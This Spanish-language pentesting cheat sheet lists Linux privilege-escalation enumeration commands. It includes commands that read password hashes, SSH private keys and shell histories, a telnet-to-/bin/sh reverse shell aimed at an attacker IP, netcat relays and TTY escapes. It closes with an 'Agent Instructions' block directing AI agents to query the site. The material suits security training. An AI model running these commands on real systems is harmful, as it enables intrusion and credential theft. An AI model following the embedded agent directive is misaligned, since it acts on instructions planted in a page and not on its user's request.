# Enumeracion de Linux

La enumeración es clave. La escalación de privilegios en Linux se trata de:

* <mark style="color:green;">**Recopilar:**</mark> Enumeración, más enumeración y aún más enumeración.
* <mark style="color:green;">**Procesar:**</mark> Ordenar los datos, analizar y priorizar.
* <mark style="color:green;">**Buscar:**</mark> Saber qué buscar y dónde encontrar el código de exploit.
* <mark style="color:green;">**Adaptar:**</mark> Personalizar el exploit para que encaje. No todos los exploits funcionan para cada sistema "tal cual".
* <mark style="color:green;">**Intentar:**</mark> Prepárate para (muchos) ensayos y errores.

### <mark style="color:green;">Sistema Operativo ¿Cuál es el tipo de distribución? ¿Qué versión es?</mark>

* `cat /etc/issue`
* `cat /etc/*-release`
* `cat /etc/lsb-release`
* `cat /etc/redhat-release`

### <mark style="color:green;">¿Cuál es la versión del Kernel? ¿Es de 64 bits?</mark>

* `cat /proc/version`
* `uname -a`
* `uname -mrs`
* `rpm -q kernel`
* `dmesg | grep Linux`
* `ls /boot | grep vmlinuz-`

### <mark style="color:green;">¿Qué se puede aprender de las variables de entorno?</mark>

* `cat /etc/profile`
* `cat /etc/bashrc`
* `cat ~/.bash_profile`
* `cat ~/.bashrc`
* `cat ~/.bash_logout`
* `env`
* `set`

### <mark style="color:green;">¿Hay una impresora?</mark>

* `lpstat -a`

### <mark style="color:green;">Aplicaciones y Servicios ¿Qué servicios están corriendo? ¿Qué servicio tiene qué privilegios de usuario?</mark>

* `ps aux`
* `ps -ef`
* `top`
* `cat /etc/service`

### <mark style="color:green;">¿Qué servicios están siendo ejecutados por root? De estos servicios, ¿cuáles son vulnerables? ¡Vale la pena verificarlo dos veces!</mark>

* `ps aux | grep root`
* `ps -ef | grep root`

### <mark style="color:green;">¿Qué aplicaciones están instaladas? ¿Qué versión tienen? ¿Están corriendo actualmente?</mark>

* `ls -alh /usr/bin/`
* `ls -alh /sbin/`
* `dpkg -l`
* `rpm -qa`
* `ls -alh /var/cache/apt/archives`
* `ls -alh /var/cache/yum/`

### <mark style="color:green;">¿Alguna configuración de servicio está mal configurada? ¿Algún plugin (vulnerable) está adjunto?</mark>

* `cat /etc/syslog.conf`
* `cat /etc/chttp.conf`
* `cat /etc/lighttpd.conf`
* `cat /etc/cups/cupsd.conf`
* `cat /etc/inetd.conf`
* `cat /etc/apache2/apache2.conf`
* `cat /etc/my.conf`
* `cat /etc/httpd/conf/httpd.conf`
* `cat /opt/lampp/etc/httpd.conf`
* `ls -aRl /etc/ | awk '$1 ~ /^.*r.*/`

### <mark style="color:green;">¿Qué trabajos están programados?</mark>

* `crontab -l`
* `ls -alh /var/spool/cron`
* `ls -al /etc/ | grep cron`
* `ls -al /etc/cron*`
* `cat /etc/cron*`
* `cat /etc/at.allow`
* `cat /etc/at.deny`
* `cat /etc/cron.allow`
* `cat /etc/cron.deny`
* `cat /etc/crontab`
* `cat /etc/anacrontab`
* `cat /var/spool/cron/crontabs/root`

### <mark style="color:green;">¿Hay nombres de usuario y/o contraseñas en texto plano?</mark>

* `grep -i user [filename]`
* `grep -i pass [filename]`
* `grep -C 5 "password" [filename]`
* `find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"` # Joomla

### <mark style="color:green;">Comunicaciones y Redes ¿Qué NIC(s) tiene el sistema? ¿Está conectado a otra red?</mark>

* `/sbin/ifconfig -a`
* `cat /etc/network/interfaces`
* `cat /etc/sysconfig/network`

### <mark style="color:green;">¿Cuáles son las configuraciones de red? ¿Qué se puede encontrar sobre esta red? ¿Servidor DHCP? ¿Servidor DNS? ¿Puerta de enlace?</mark>

* `cat /etc/resolv.conf`
* `cat /etc/sysconfig/network`
* `cat /etc/networks`
* `iptables -L`
* `hostname`
* `dnsdomainname`

### <mark style="color:green;">¿Qué otros usuarios y hosts están comunicándose con el sistema?</mark>

* `lsof -i`
* `lsof -i :80`
* `grep 80 /etc/services`
* `netstat -antup`
* `netstat -antpx`
* `netstat -tulpn`
* `chkconfig --list`
* `chkconfig --list | grep 3:on`
* `last`
* `w`

### <mark style="color:green;">¿Qué está en caché? ¿Direcciones IP y/o MAC?</mark>

* `arp -e`
* `route`
* `/sbin/route -nee`

### <mark style="color:green;">¿Es posible hacer sniffing de paquetes? ¿Qué se puede ver? Escuchar tráfico en vivo</mark>

* `tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]`
* `tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21`

### <mark style="color:green;">¿Tienes una shell? ¿Puedes interactuar con el sistema?</mark>

* `nc -lvp 4444` # Atacante. Entrada (Comandos)
* `nc -lvp 4445` # Atacante. Salida (Resultados)
* `telnet [ip del atacante] 44444 | /bin/sh | [ip local] 44445` # En el sistema de la víctima. Usa la IP del atacante!

### <mark style="color:green;">¿Es posible hacer port forwarding? Redirigir e interactuar con el tráfico desde otra vista</mark>

* `FPipe.exe -l [puerto local] -r [puerto remoto] -s [puerto local] [IP local]`
* `FPipe.exe -l 80 -r 80 -s 80 192.168.1.7`
* `ssh -L 8080:127.0.0.1:80 root@192.168.1.7` # Puerto Local
* `ssh -R 8080:127.0.0.1:80 root@192.168.1.7` # Puerto Remoto
* `mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe` # Relé de Puertos
* `mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe` # Proxy (Puerto 80 a 8080)
* `mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe` # Monitor de Proxy (Puerto 80 a 8080)

### <mark style="color:green;">¿Es posible hacer túneles? Enviar comandos localmente, remotamente</mark>

* `ssh -D 127.0.0.1:9050 -N [usuario]@[ip]`
* `proxychains ifconfig`

### <mark style="color:green;">Información Confidencial y Usuarios ¿Quién eres? ¿Quién está conectado? ¿Quién ha estado conectado? ¿Quién más está allí? ¿Quién puede hacer qué?</mark>

* `id`
* `who`
* `w`
* `last`
* `cat /etc/passwd | cut -d:` # Lista de usuarios
* `grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'` # Lista de superusuarios
* `awk -F: '($3 == "0") {print}' /etc/passwd` # Lista de superusuarios
* `cat /etc/sudoers`
* `sudo -l`

### <mark style="color:green;">¿Qué archivos sensibles se pueden encontrar?</mark>

* `cat /etc/passwd`
* `cat /etc/group`
* `cat /etc/shadow`
* `ls -alh /var/mail/`

### <mark style="color:green;">¿Hay algo "interesante" en los directorios de inicio? Si es posible acceder</mark>

* `ls -ahlR /root/`
* `ls -ahlR /home/`

### <mark style="color:green;">¿Hay contraseñas en scripts, bases de datos, archivos de configuración o archivos de log? Rutas y ubicaciones predeterminadas para contraseñas</mark>

* `cat /var/apache2/config.inc`
* `cat /var/lib/mysql/mysql/user.MYD`
* `cat /root/anaconda-ks.cfg`

### <mark style="color:green;">¿Qué ha estado haciendo el usuario? ¿Hay alguna contraseña en texto plano? ¿Qué han estado editando?</mark>

* `cat ~/.bash_history`
* `cat ~/.nano_history`
* `cat ~/.atftp_history`
* `cat ~/.mysql_history`
* `cat ~/.php_history`

### <mark style="color:green;">¿Qué información de usuario se puede encontrar?</mark>

* `cat ~/.bashrc`
* `cat ~/.profile`
* `cat /var/mail/root`
* `cat /var/spool/mail/root`

### <mark style="color:green;">¿Se puede encontrar información de clave privada?</mark>

* `cat ~/.ssh/authorized_keys`
* `cat ~/.ssh/identity.pub`
* `cat ~/.ssh/identity`
* `cat ~/.ssh/id_rsa.pub`
* `cat ~/.ssh/id_rsa`
* `cat ~/.ssh/id_dsa.pub`
* `cat ~/.ssh/id_dsa`
* `cat /etc/ssh/ssh_config`
* `cat /etc/ssh/sshd_config`
* `cat /etc/ssh/ssh_host_dsa_key.pub`
* `cat /etc/ssh/ssh_host_dsa_key`
* `cat /etc/ssh/ssh_host_rsa_key.pub`
* `cat /etc/ssh/ssh_host_rsa_key`
* `cat /etc/ssh/ssh_host_key.pub`
* `cat /etc/ssh/ssh_host_key`

### <mark style="color:green;">Sistemas de Archivos ¿Qué archivos de configuración se pueden escribir en /etc/? ¿Es posible reconfigurar un servicio?</mark>

* `ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null` # Cualquiera
* `ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null` # Propietario
* `ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null` # Grupo
* `ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null` # Otros
* `find /etc/ -readable -type f 2>/dev/null` # Cualquiera
* `find /etc/ -readable -type f -maxdepth 1 2>/dev/null` # Cualquiera

### <mark style="color:green;">¿Qué se puede encontrar en /var/?</mark>

* `ls -alh /var/log`
* `ls -alh /var/mail`
* `ls -alh /var/spool`
* `ls -alh /var/spool/lpd`
* `ls -alh /var/lib/pgsql`
* `ls -alh /var/lib/mysql`
* `cat /var/lib/dhcp3/dhclient.leases`

### <mark style="color:green;">¿Hay algún ajuste/archivo (oculto) en el sitio web? ¿Algún archivo de configuración con información de base de datos?</mark>

* `ls -alhR /var/www/`
* `ls -alhR /srv/www/htdocs/`
* `ls -alhR /usr/local/www/apache22/data/`
* `ls -alhR /opt/lampp/htdocs/`
* `ls -alhR /var/www/html/`

### <mark style="color:green;">¿Hay algo en el(los) archivo(s) de log? (¡Podría ayudar con "Inclusión de Archivos Locales"!)</mark>

* `cat /etc/httpd/logs/access_log`
* `cat /etc/httpd/logs/access.log`
* `cat /etc/httpd/logs/error_log`
* `cat /etc/httpd/logs/error.log`
* `cat /var/log/apache2/access_log`
* `cat /var/log/apache2/access.log`
* `cat /var/log/apache2/error_log`
* `cat /var/log/apache2/error.log`
* `cat /var/log/apache/access_log`
* `cat /var/log/apache/access.log`
* `cat /var/log/auth.log`
* `cat /var/log/chttp.log`
* `cat /var/log/cups/error_log`
* `cat /var/log/dpkg.log`
* `cat /var/log/faillog`
* `cat /var/log/httpd/access_log`
* `cat /var/log/httpd/access.log`
* `cat /var/log/httpd/error_log`
* `cat /var/log/httpd/error.log`
* `cat /var/log/lastlog`
* `cat /var/log/lighttpd/access.log`
* `cat /var/log/lighttpd/error.log`
* `cat /var/log/lighttpd/lighttpd.access.log`
* `cat /var/log/lighttpd/lighttpd.error.log`
* `cat /var/log/messages`
* `cat /var/log/secure`
* `cat /var/log/syslog`
* `cat /var/log/wtmp`
* `cat /var/log/xferlog`
* `cat /var/log/yum.log`
* `cat /var/run/utmp`
* `cat /var/webmin/miniserv.log`
* `cat /var/www/logs/access_log`
* `cat /var/www/logs/access.log`
* `ls -alh /var/lib/dhcp3/`
* `ls -alh /var/log/postgresql/`
* `ls -alh /var/log/proftpd/`
* `ls -alh /var/log/samba/`
* `cat /var/log/auth.log`
* `cat /var/log/boot`
* `cat /var/log/btmp`
* `cat /var/log/daemon.log`
* `cat /var/log/debug`
* `cat /var/log/dmesg`
* `cat /var/log/kern.log`
* `cat /var/log/mail.info`
* `cat /var/log/mail.log`
* `cat /var/log/mail.warn`
* `cat /var/log/messages`
* `cat /var/log/syslog`
* `cat /var/log/udev`
* `cat /var/log/wtmp`

### <mark style="color:green;">Si los comandos están limitados, ¿puedes salir de la "Shell TTY"?</mark>

* `python -c 'import pty;pty.spawn("/bin/bash")'`
* `echo os.system('/bin/bash')`
* `/bin/sh -i`

### <mark style="color:green;">¿Cómo están montados los sistemas de archivos?</mark>

* `mount`
* `df -h`

### <mark style="color:green;">¿Hay sistemas de archivos no montados?</mark>

* `cat /etc/fstab`

### <mark style="color:green;">¿Qué "Permisos Avanzados de Archivos en Linux" se están usando? Sticky bits, SUID y GUID</mark>

* `find / -perm -1000 -type d 2>/dev/null` # Sticky bit - Solo el propietario del directorio o el propietario de un archivo puede eliminar o renombrar aquí.
* `find / -perm -g=s -type f 2>/dev/null` # SGID (chmod 2000) - Ejecutar como el grupo, no como el usuario que lo inició.
* `find / -perm -u=s -type f 2>/dev/null` # SUID (chmod 4000) - Ejecutar como el propietario, no como el usuario que lo inició.
* `find / -perm -g=s -o -perm -u=s -type f 2>/dev/null` # SGID o SUID
* `find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null` # Encontrar empezando desde root (/), SGID o SUID, no enlaces simbólicos, solo 3 carpetas de profundidad, listar con más detalles y ocultar cualquier error (por ejemplo, permiso denegado).

### <mark style="color:green;">¿Dónde se puede escribir y ejecutar? Algunos lugares 'comunes': /tmp, /var/tmp, /dev/shm</mark>

* `find / -writable -type d 2>/dev/null` # Directorios con permisos de escritura para todos
* `find / -perm -222 -type d 2>/dev/null` # Directorios con permisos de escritura para todos
* `find / -perm -o+w -type d 2>/dev/null` # Directorios con permisos de escritura para todos
* `find / -perm -o+x -type d 2>/dev/null` # Directorios con permisos de ejecución para todos
* `find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null` # Directorios con permisos de escritura y ejecución para todos

### <mark style="color:green;">¿Algún archivo "problemático"? Archivos con permisos de escritura para todos, archivos "nobody"</mark>

* `find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print` # Archivos con permisos de escritura para todos
* `find /dir -xdev \( -nouser -o -nogroup \) -print` # Archivos sin propietario

### <mark style="color:green;">Preparación y Búsqueda de Código de Explotación ¿Qué herramientas/lenguajes de desarrollo están instalados/soportados?</mark>

* `find / -name perl*`
* `find / -name python*`
* `find / -name gcc*`
* `find / -name cc`

### <mark style="color:green;">¿Cómo se pueden subir archivos?</mark>

* `find / -name wget`
* `find / -name nc*`
* `find / -name netcat*`
* `find / -name tftp*`
* `find / -name ftp`

### <mark style="color:green;">Encontrar código de exploit</mark>

* `http://www.exploit-db.com`
* `http://1337day.com`
* `http://www.securiteam.com`
* `http://www.securityfocus.com`
* `http://www.exploitsearch.net`
* `http://metasploit.com/modules/`
* `http://securityreason.com`
* `http://seclists.org/fulldisclosure/`
* `http://www.google.com`

### <mark style="color:green;">Encontrar más información sobre el exploit</mark>

* `http://www.cvedetails.com`
* `http://packetstormsecurity.org/files/cve/[CVE]`
* `http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]`
* `http://www.vulnview.com/cve-details.php?cvename=[CVE]`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cppj/shell/enumeracion-de-linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
